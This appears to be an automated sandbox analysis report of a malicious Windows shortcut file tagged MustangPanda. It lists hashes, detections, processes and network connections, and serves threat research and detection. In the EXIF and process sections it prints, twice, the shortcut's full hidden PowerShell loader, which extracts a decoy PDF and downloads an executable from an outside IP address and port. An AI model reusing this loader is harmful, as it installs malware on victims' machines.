File name:

test.pdf.lnk

Full analysis: https://app.any.run/tasks/431ec2d9-db4b-4714-84e8-1c2023d9aac8
Verdict: Malicious activity
Analysis date: August 12, 2025, 07:38:59
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
mustangpanda
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, Unicoded, HasEnvironment, PreferEnvironmentPath, length=0, window=showminnoactive
MD5:

2118C66B306131D7A611773E077165EC

SHA1:

A613B0667BB0B29A1D271FFABF3303816770DA99

SHA256:

F290D2091527BA9A81A93B7347479CAF7729BC371DD328BE5F4A77F92DFE5C2D

SSDEEP:

98304:nVO9blhd2pdBlmFTbSemBfurI6G/UoUByIAVuNFRyuVPhro4sLGSfJqZDh/ZOFmm:0WPORdVG

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  • MALICIOUS

    • MUSTANGPANDA has been detected

      • powershell.exe (PID: 2228)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2228)

  • SUSPICIOUS

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 2228)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 2228)

    • Found IP address in command line

      • powershell.exe (PID: 2228)

    • Connects to unusual port

      • powershell.exe (PID: 2228)

  • INFO

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 2228)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 4724)

    • Disables trace logs

      • powershell.exe (PID: 2228)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2228)

    • Checks proxy server information

      • powershell.exe (PID: 2228)
      • slui.exe (PID: 3732)

    • Failed to connect to remote server (POWERSHELL)

      • powershell.exe (PID: 2228)

    • Reads the software policy settings

      • slui.exe (PID: 3732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: Description, CommandArgs, IconFile, Unicode, ExpString, PreferEnvPath
FileAttributes: (none)
TargetFileSize: -
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
Description: Type: Text Document Size: 5.23 KB Date modified: 08/18/2024 11:23
CommandLineArguments: -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00A53C72} | Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = '%temp%\教学文档' + '.pdf';$exepath = '%temp%\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"%temp%\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"%temp%\tmp_032056.exe";
IconFileName: %SystemRoot%\System32\SHELL32.dll,2
No data.
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Total processes
137
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

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start #MUSTANGPANDA powershell.exe conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2228"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00A53C72} | Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = 'C:\Users\admin\AppData\Local\Temp\教学文档' + '.pdf';$exepath = 'C:\Users\admin\AppData\Local\Temp\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"C:\Users\admin\AppData\Local\Temp\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"C:\Users\admin\AppData\Local\Temp\tmp_032056.exe";C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
3732C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
4724\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
7 001
Read events
7 001
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
2228powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f6bdcde9a3b05068.customDestinations-msbinary
MD5:8847AB655D8CC52A4D1717F92EF1E70C
SHA256:A2F9345B034E37127191DFA69D8EB9B15DB5261A05885AC25F124E0CDF44B52C
2228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_toyrq3kc.rjw.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2228powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:A7E20F5FA24CD80858BC7FDA1C92B843
SHA256:BC41083DB2A6B8F0A2FE3C00B3850756BF348F9B6B474EA354B55EACF5B90E12
2228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ktz0vdsr.3om.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2228powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HFZG5LZ9QN1YHNG4Q2GV.tempbinary
MD5:8847AB655D8CC52A4D1717F92EF1E70C
SHA256:A2F9345B034E37127191DFA69D8EB9B15DB5261A05885AC25F124E0CDF44B52C
2228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ltsmkbal.nla.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_a5uv1po5.5j0.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
6
TCP/UDP connections
27
DNS requests
17
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
23.216.77.25:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3644
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2692
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2940
svchost.exe
GET
200
104.76.201.34:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
2692
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1268
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
188
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2228
powershell.exe
182.92.116.32:12777
—
Hangzhou Alibaba Advertising Co.,Ltd.
CN
unknown
1268
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
23.216.77.25:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5944
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 51.124.78.146
whitelisted
google.com
  • 172.217.16.206
whitelisted
crl.microsoft.com
  • 23.216.77.25
  • 23.216.77.36
  • 23.216.77.42
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 95.101.149.131
whitelisted
login.live.com
  • 40.126.31.0
  • 20.190.159.130
  • 40.126.31.73
  • 20.190.159.64
  • 20.190.159.128
  • 40.126.31.129
  • 40.126.31.69
  • 40.126.31.1
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
slscr.update.microsoft.com
  • 74.178.240.61
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted
self.events.data.microsoft.com
  • 13.89.178.27
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

PID
Process
Class
Message
—
—
Unknown Traffic
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